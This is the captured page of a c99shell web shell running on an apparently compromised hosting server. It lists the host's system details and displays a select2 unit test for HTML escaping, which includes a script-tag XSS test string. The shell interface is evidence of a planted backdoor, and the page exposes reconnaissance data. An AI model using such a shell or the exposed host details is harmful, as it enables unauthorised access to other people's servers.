Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) Safe-mode: OFF (not secure) /var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/tests/utils/ drwxr-xr-x |
Viewing file: escapeMarkup-tests.js (954 B) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | module('Utils - escapeMarkup'); var Utils = require('select2/utils'); test('text passes through', function (assert) { var text = 'testing this'; var escaped = Utils.escapeMarkup(text); assert.equal(text, escaped); }); test('html tags are escaped', function (assert) { var text = '<script>alert("bad");</script>'; var escaped = Utils.escapeMarkup(text); assert.notEqual(text, escaped); assert.equal(escaped.indexOf('<script>'), -1); }); test('quotes are killed as well', function (assert) { var text = 'testin\' these "quotes"'; var escaped = Utils.escapeMarkup(text); assert.notEqual(text, escaped); assert.equal(escaped.indexOf('\''), -1); assert.equal(escaped.indexOf('"'), -1); }); test('DocumentFragment options pass through', function (assert) { var frag = document.createDocumentFragment(); frag.innerHTML = '<strong>test</strong>'; var escaped = Utils.escapeMarkup(frag); assert.equal(frag, escaped); }); |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0433 ]-- |